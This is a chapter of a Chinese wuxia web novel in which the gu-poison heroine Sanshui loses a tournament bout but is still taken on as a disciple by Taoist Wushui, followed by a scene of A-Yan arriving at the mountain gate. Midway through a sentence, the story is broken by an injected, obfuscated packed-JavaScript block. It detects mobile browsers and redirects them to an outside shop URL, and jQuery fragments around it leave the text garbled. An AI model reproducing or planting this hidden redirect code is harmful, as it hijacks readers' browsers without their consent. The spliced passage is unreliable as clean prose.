9. 三水终成首席,阿言又来拜访

作品:《江湖游鱼

    “少主这蛊,”云敛盯着看了一会儿,声音依旧平稳,听不出喜怒,“声势浩大,可惜……后劲似乎不足。”


    他运起内力,一股柔和却坚韧的气息自周身荡开,附著在衣袍上、试图钻入皮肉的蛊虫如同被无形的风吹拂,簌簌落下,在地上挣扎几下,便不再动弹。


    那些飞舞扰袭的蜂群,也被这气息逼退,无法近身。


    三水的心直往下沉。


    她最清楚,这些未成熟的蛊虫毒性微弱,最多让人麻痒片刻,根本无法对云敛这等高手造成实质伤害。


    她捏碎玉瓶,不过是争一线喘息之机,赌的是云敛对未知蛊毒的瞬间忌惮。如今赌输了,底牌也已尽出。


    云敛不再多言,他身形一动,比方才更加迅捷,仿佛之前只是闲庭信步,此刻才真正认真起来。


    那柄桃花剑并未再度出鞘,他只是并指如剑,身随指动,招式古朴简单,却蕴含著难以言喻的力量与精准。


    三水驱使玉龙奋力抵挡,蛇影翻飞,毒牙伺机而动。但在云敛那看似平淡无奇的指风下,竟如同撞上铜墙铁壁,所有精妙招式都被轻易化解。


    不过三五个回合,云敛一转剑身,一股不容抗拒的力道传来,三水只觉得浑身一麻,气息瞬间滞涩,连退数步才勉强站稳,玉龙也委顿地缩回她的腕间,不再有动静。


    败了。


    彻彻底底地败了。


    一股冰凉的绝望攫住了三水。不是为自己技不如人,而是为那遥不可及的希望——无法接近五水道长,父亲的毒怎么办?族人的期盼又该如何安放?她站在原地,脸色苍白,紧咬著下唇,直到尝到一丝血腥味。


    台下众人的目光,惊讶、惋惜、幸灾乐祸……如同针一般刺在她身上。


    她想起那个力竭而亡的红衣人,此刻才真正体会到那种拼尽一切却仍然无法扭转局面的无力感。


    不甘心吗?自然是有的,但云敛的实力碾压如此明显,她连一丝侥幸的借口都找不到,这失败,沉重却心服口服。


    她深吸一口气,强压下翻涌的情绪,默默收势,对着云敛微微一礼,声音低哑:“云公子武功高强,三水……甘拜下风。”


    说完,她不再看任何人,转身便要走下擂台。


    既然明路不通,那便只有暗中寻找机会了。五水山这么大,她总能找到潜伏下来的办法,哪怕是从最低等的杂役做起。


    “还有哪位英雄,欲要登台一试?”看台上,首席弟子冰冷的声音再次响起。


    台下鸦雀无声。


    云敛展现出的实力深不可测,连苗族少主及其蛊术都败得如此干脆,谁还敢上去自取其辱?


    人群面面相觑,最终都化为了沉默。一些原本跃跃欲试的布衣武者,眼中刚燃起的光也黯淡下去,现实如同冷水,浇灭了他们好不容易积攒起来的勇气。


    首席弟子等待片刻,见无人应答,便转向看台中央,恭敬道:“师父,看来最终胜者已定,是常州云敛。”


    五水道长依旧捋著长须,脸上是那副万年不变的刻板微笑,目光在云敛和三水之间逡巡。就在所有人都以为大局已定时,他却缓缓开口,声音不高,却清晰地传遍整个广场:“云敛天赋异禀,根骨奇佳,确是习武的上上之选。”


    众人屏息,等待著最后的宣布。


    然而,道长话锋一转:“然我五水教派,源远流长,包罗万象。武功固然重要,医、毒、蛊、卜,亦是大道不可或缺之组成部分。如今教中,精于医蛊之道者渐稀。”他的目光落在已然停下脚步、背对擂台的三水身上,“这位苗族少主,于医蛊之术一途颇有天赋,正是我教所需。”


    他顿了顿,在众人惊愕的目光中,做出了决定:“故此,本届弟子,我破格同收二人。云敛为首席弟子,习我武学真传。三水,你便随我修习医蛊之术吧。”


    此言一出,满场哗然


    “什么?同时收两个?”


    “这……这不合规矩啊!历来不是只收一人的吗?”


    “我就说嘛,那苗族少主来历不凡,果然是有内情的!”


    “呸,什么内定不公平!我们这些人拼死拼活,还不如人家有个好出身!”


    “唉,算了算了,本来也轮不上我们,道长爱收谁收谁吧。”


    “就是,云敛公子那是实至名归,至于这位……嘿,说不定道长另有用意呢。”


    议论声如同潮水般涌来,大多集中在三水身上。那些“内定”、“不公”、“凭出身”的字眼,像一把把钝刀子,割得三水体无完肤。


    她站在原地,背脊挺得笔直,指甲深深掐入掌心。


    她需要这个机会,无比需要。为了这个目标,她可以忍受失败,可以潜伏暗处,如今机会以这样一种充满争议和屈辱的方式落在眼前,她更不能放弃。所有的恶评,她都必須咬牙咽下。


    就在这时,云敛却走了过来。


    他步履从容,神情温和,对着三水拱手一礼,声音清朗,足以让周围的人都听得清楚:“三水姑娘,方才擂台之上,情势所迫,若有失礼冒犯之处,云敛在此赔罪,还望姑娘海涵,切勿挂怀。”


    他姿态放得极低,语气诚恳,配上他那张俊雅出尘的脸和刚刚展现的绝对实力,瞬间赢得了大片好感。


    “看看,这就是气度!”


    “云敛公子真是谦谦君子,赢了还不忘照顾对手颜面。”


    “比起某些靠关系进来的,不知道高到哪里去了!”


    周围的议论风向顿时转变,几乎一边倒地赞扬云敛的“容人之量”和“仙风道骨”。


    而三水,则被无声地置於了对立面,成了一个需要被宽容、被怜悯,甚至是因为“关系”而挤占了名额的既得利益者。


    三水看著眼前这位风光霁月的云公子,看着他轻易就将自己置于道德高地,而她却要承受所有的不堪。


    一股郁气堵在胸口,几乎让她喘不过气。但她知道,她不能反驳,不能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725969|189445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辩解,甚至不能流露出一丝一毫的不满。


    她用力掐著自己的手心,用疼痛维持著最后的理智和镇定,低下头,避开云敛那看似真诚实则让她如芒在背的目光,从牙缝里挤出几个字:“云公子言重了,擂台比试,各凭本事,何来冒犯之说。”


    她的声音平静无波,仿佛那些议论和眼前的道歉都与她无关。只有她自己知道,内心是何等的翻江倒海。为了父亲,为了族人,这点屈辱,她必须忍受。


    五水道长对台下的纷扰恍若未闻,仿佛刚才那个颠覆规则的决定并非出自他口。他站起身,拂尘一甩,对身旁的首席弟子淡淡道:“带他们二人安置吧。”说罢,竟是不再理会众人,径自转身,背负著双手,施施然离去了,留下一广场神色各异的人们。


    云敛再次对三水温和地点了点头,这才随著首席弟子走向一侧,接受著众人钦佩目光的洗礼。


    三水则默默跟在后面,感觉那些或明或暗的视线如同针扎一般。


    她抬起头,望著五水道长离去的方向,眼神复杂。这条路,比她想象中更加艰难,但总算,是踏出了第一步。


    潜伏的计划已无必要,但另一种形式的“潜伏”——在这充满非议和审视的环境中隐藏真实目的,获取解药——才刚刚开始。


    山风掠过广场,吹拂起她紫色的衣袂,却吹不散心头的沉重与冰凉。她将所有的情绪死死压住,只剩下一个无比清晰的念头:留在五水山,接近五水道长,不惜一切代价。


    章予将信纸反复读了几遍,心中五味杂陈。若说三水能顺利入选,她早有预料。可信中所写的人与事,却总让她放心不下。她正要将信纸收起,却见无尘跨入门来,随手抛来一小卷用皮筋捆住的纸。


    “你的第二封信,”无尘边说边在床上躺下,闭目养神,“我也没看。”


    章予收好三水的信,展开那卷纸。上面只有一行字:“听闻山下异动,愿遣阿言助一臂之力。”


    阿言?上次在饭店遇见的那个小女孩?


    她不觉将信的内容念出声来。无尘闻言也露出讶色:“这是殷子夜的信?”


    见章予点头,他起身伸手,“这一大早就不安宁。自我来子夜山,还没过过这样的日子。”他抱怨着,却又主动领路,“走吧,山门口来人了。小鬼说是一个小孩和一位红衣女子,想必是阿言和接她的那人。”


    二人行至山门,果然见两人等候在此。那正费力拆着长长包裹的小女孩,不是阿言还能是谁。章予欣喜地迎上前打招呼,阿言见是她与无尘,也咧开嘴笑得灿烂。


    这时章予才看清,那包裹里竟是一柄长枪。她正暗自猜测,又见那红衣女子立在阿言身后三步之遥,一袭红衣在山风中纹丝不动。


    她身姿挺拔如松,眉眼间自带一股飒爽之气,虽静立不语,周身却散发着不容小觑的气度。阳光照在她身上,仿佛都格外眷恋这片夺目的红。


    那红衣女子开口问道:“子夜在吗?”